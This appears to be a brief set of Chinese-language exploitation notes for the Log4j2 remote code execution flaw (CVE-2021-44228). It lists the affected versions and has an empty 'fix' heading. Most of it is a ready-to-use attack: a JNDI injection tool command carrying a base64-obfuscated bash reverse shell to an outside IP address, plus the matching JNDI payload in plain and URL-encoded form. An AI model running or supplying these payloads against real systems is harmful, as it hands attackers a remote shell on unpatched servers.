Apache的一个开源项目，是一个基于Java的日志记录框架。
黑盒特征：盲打 会问蓝队攻击特征（${jndi:rmi:///osutj8}）
Log4j2远程命令执行（CVE-2021-44228）
漏洞影响的产品版本包括：Apache Log4j2 2.0 - 2.15.0-rc1
修复
生成反弹Shell的JNDI注入
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117
构造JNDI注入Payload提交
${jndi:rmi://47.94.236.117:1099/osutj8}
%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%34%37%2e%39%34%2e%32%33%36%2e%31%31%37%3a%31%30%39%39%2f%6f%73%75%74%6a%38%7d
